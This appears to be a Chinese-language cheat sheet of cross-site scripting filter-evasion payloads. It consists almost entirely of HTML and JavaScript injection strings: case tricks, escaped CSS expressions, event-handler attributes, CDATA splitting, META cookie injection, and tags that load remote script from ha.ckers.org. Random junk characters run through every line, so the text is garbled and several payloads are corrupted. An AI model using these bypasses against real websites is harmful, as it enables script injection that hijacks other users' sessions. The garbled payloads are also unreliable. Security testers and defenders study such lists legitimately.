1. 改变字符大小写
3 U$ K3 }& j9 z
' r N# {& m# I: i 6 e+ ~; t& ^( u- g' b* R. |6 }; P
0 E; r: m$ H5 E$ V, \ <sCript>alert(‘d’)</scRipT>
: i+ u" j1 Z$ p$ u- w( S
( m7 E: Y% m0 m: ], L* Q4 C5 {4 U2. 利用多加一些其它字符来规避Regular Expression的检查7 [5 x* ]" G" k* T/ e# _ \% d
& b2 m ^, z6 F6 G- Z <<script>alert(‘c’)//<</script>
7 H3 b9 C, H# L, j8 `
4 @3 H- m( X9 ]$ P' {' \2 F <SCRIPT a=">" SRC="t.js"></SCRIPT>
4 F/ c6 t+ o2 W; S4 J" t* F" ]( q8 Y" Y0 d1 Y1 m0 O, r/ J
<SCRIPT =">" SRC="t.js"></SCRIPT>
& W8 q, I. {0 o. \ L+ I# b6 l& W
4 L# v: c8 k, |4 u <SCRIPT a=">" ” SRC="t.js"></SCRIPT>2 I8 G T9 F5 `
7 \+ | d: u% [
<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>: U' y2 C" ~4 I9 I( J
- [1 [0 A' [* S
<SCRIPT a=`>` SRC="t.js"></SCRIPT>! k+ y% u5 s6 \: t
0 D0 Z. m' H& q8 V2 Y0 I& a: w
<SCRIPT a=">’>" SRC="t.js"></SCRIPT>3 C# @- F8 N* c+ i
1 s7 V3 A. c: ]- R0 ~ i: d3. 以其它扩展名取代.js7 b6 U! I; N' \7 T
) X+ u4 ]7 c4 |" w; t <script src="bad.jpg"></script>3 X4 C; b; S4 j1 R9 U+ V
5 g) v5 N- l) a& j4. 将Javascript写在CSS档里
$ N3 y m% t9 _7 M3 s3 M0 r G. n7 u
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
7 Y8 `; j/ o6 v% K: U/ n2 n1 N3 h3 u1 i* e: O1 u
example:- }* p$ F& H$ _4 L8 _* b# c
, S7 E( ~& j8 A% u- j body {3 b7 o& s* T. z, ^, K
5 }2 E9 p3 r" w background-image: url(‘javascript:alert("XSS");’), D$ a6 H7 K. w6 Y
0 W$ G* j7 Z5 p- A5 y8 W. O$ I
}3 Q- R) d% T; Z8 Y' \
1 W8 p' d4 _ j! Y5. 在script的tag里加入一些其它字符
6 r) Q) p# m5 [' z) {8 @5 L' S5 ?7 }9 ?9 e7 d$ V( @
<SCRIPT/SRC="t.js"></SCRIPT>
/ D7 i( P: H9 g) M3 V
2 h9 \9 L! Z# j8 Y) V3 V4 \3 t* g" u <SCRIPT/anyword SRC="t.js"></SCRIPT>1 H+ {; t( U7 X W
Q9 H8 ]4 d' a' D3 _' Q- C. ?6. 使用tab或是new line来规避( u4 E( a) u8 T: @ L( {
& F' Q* f6 B8 u* D7 s& f3 o <img src="jav ascr ipt:alert(‘XSS3′)">! @+ F# R) n5 c7 p2 v- [2 z
% a2 I0 r& @+ t& g- S |9 @7 F2 ]
<img src="jav ascr ipt:alert(‘XSS3′)">) W E! e! \' _ x
/ f' U4 K; [# g, b3 \& } <IMG SRC="jav ascript:alert(‘XSS’);">
- ^0 L) |/ k" k: j4 D, Y/ J; c$ N" d
. p a, ]0 L9 r5 k* V -> tag8 p4 I$ S+ O2 J! z% _
) y1 B4 l. V) F
-> new line
0 m4 p1 p" g! x+ o% t- X( {- m# C' r/ J# e3 Z7 Y$ c) ], J
7. 使用"\"来规避+ a, j4 ^& m3 S9 q# V
. ^5 f' i- m; U6 ? ^% v! L0 K <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
, M. W9 w8 K& |) H% b& \6 R: n# t/ R3 i* H
<IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
9 |. G' i, Q7 }* m% O9 |. @
7 P. E4 O( |4 w, W' Q <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">5 d0 D- M5 \! o2 O
a. s) t1 _5 K4 I9 j, s- X
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
2 L% w' U! b }7 P4 ] ~/ O5 N' P8 Q. h8 s# y2 X0 k4 T
<A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
' V+ d0 W8 b* |, a( H" R( G) D
7 D2 E( V6 ^7 ?9 D! J& V% y H$ V8. 使用Hex encode来规避(也可能会把";"拿掉)
5 a1 z* p5 r; P3 h' g4 ?# @- E* w5 O- K. X2 D% k6 q0 i. {
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">' A8 A% F$ @" V `
, t, E+ w4 [ K# c5 }2 O- P; g 原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
# j- F, r" ~. I# h" j6 c {9 c3 s* p- E3 b3 O2 K% a6 T
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
- T a2 C# Q0 @* F. M5 a, @4 V; h, n: G. ]
原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">9 k" h+ b5 K: r" r) G. \0 M
: g& u6 P$ C! x; L; b+ n9. script in HTML tag
' ?* C3 G# \) W0 S' R" D' p& V
3 J2 C. W" Q- _/ N# D7 t \0 O <body onload=」alert(‘onload’)」>2 }6 N/ O$ Y+ \; l
+ E' }5 ~$ M) X! A x* g7 `
onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload0 z {( s; p" E% f- W4 f0 C
9 X( X& L# J' F# c. I
10. 在swf里含有xss的code) l( M R+ F* @2 z# ^
# g8 Y# n. c {$ v4 M& i
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>! k9 z6 ^: e, z3 C& H9 V5 C7 A
# c) O% U; B9 p
11. 利用CDATA将xss的code拆开,再组合起来。# d. }+ \) U( s E% f: Y
8 ]3 N) ?/ v M2 I, n6 \
<XML ID=I><X><C>
( B6 c6 n# a2 Q6 P* ~ K, n% q6 u) [, k/ \
<![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
9 a! w4 e* B9 D$ F5 {0 k( N! k( Q$ A! O2 l6 n0 x9 W) b
</C></X># ]3 I3 [' e6 R- \3 o
4 ]7 \2 H a& }' W9 b: n1 t6 b
</xml>
0 y5 @' J9 ^7 ?& N" }( B. T6 Z T% s# a* S7 |
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>: h* J( Z" {4 C2 P" O; K
* q6 `) D0 O1 h1 {1 c0 t7 E" S z
<XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
: t9 }) G% u! ]* i, [0 y: ?2 O8 r0 [6 w! t
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>" P9 T( T3 M6 X+ I3 @
! g- E7 B6 B4 G& M12. 利用HTML+TIME。
2 S9 S( n' }" D5 Y
- n, p( R- m& |1 t2 f! s <HTML><BODY>- U7 @2 l# t8 S6 A0 f* ]
7 W, V* J. O1 s/ e7 H+ X7 } <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
8 H# `; H% M" @* C9 [0 {
/ {, n6 o9 V: q- s9 h4 g6 H. {& Q <?import namespace="t" implementation="#default#time2">
+ y. s8 {0 n: z: s$ S3 C
3 U/ U! h& d+ a; N <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
! W; T# A/ ?8 @8 g
6 H( d+ o4 w& V0 ~ </BODY></HTML>8 e3 l$ t# y' N& `- m& O
% {2 z" r3 A" H! m" R
13. 透过META写入Cookie。+ _; D6 u) P8 o( A) u4 {
9 J5 |; J0 ]4 o- M& H- j <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
S8 ?) X% ?3 _
% l1 |; o+ X5 ], E14. javascript in src , href , url
! V8 Y+ s, i7 x1 \: Z, h6 B7 r8 n9 G: v+ o: T
<IFRAME SRC=javascript:alert(’13′)></IFRAME>" {0 q& h1 w, e) J* D/ z% N
1 m3 _% u% L% _9 t) F
<img src="javascript:alert(‘XSS3′)">7 ^4 f: I: M9 h% Y. |! a" X; T; @
6 c7 Y. Z: r3 }! n" o- U, q& Q; g<IMG DYNSRC="javascript:alert(‘XSS20′)">
" ?! {( [6 J" D! V& V: M' m% q: V+ P
<IMG LOWSRC="javascript:alert(‘XSS21′)">5 d9 q& K. A1 a9 O$ Z
) G U( U! g6 ^8 ?' i7 U <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
5 }2 H; _. h8 X5 M2 e# o; z" w; ?7 o$ d; t- ?; L0 `
<IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
: D* P- b1 Y( \; W u
, G) x3 ~( w; X6 g' ~ <TABLE BACKGROUND="javascript:alert(‘XSS29′)">1 k( e B h: m4 I
1 e& ]1 D% _: } v' N8 W
<DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
) m' T3 H9 V+ b; @+ s. j3 d. D
<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
4 d9 v) U% F& O1 u3 r1 J( D/ W7 J, {* k3 R1 [
</STYLE><A CLASS=XSS></A>$ z0 P8 T; B* a. \7 E7 Q- e
! z6 C9 v X1 s- J' I4 {: t
<FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
: k/ k& {9 N! Z" d( Q+ G) R0 T J- t: n- f0 W6 J3 d1 A. O I
|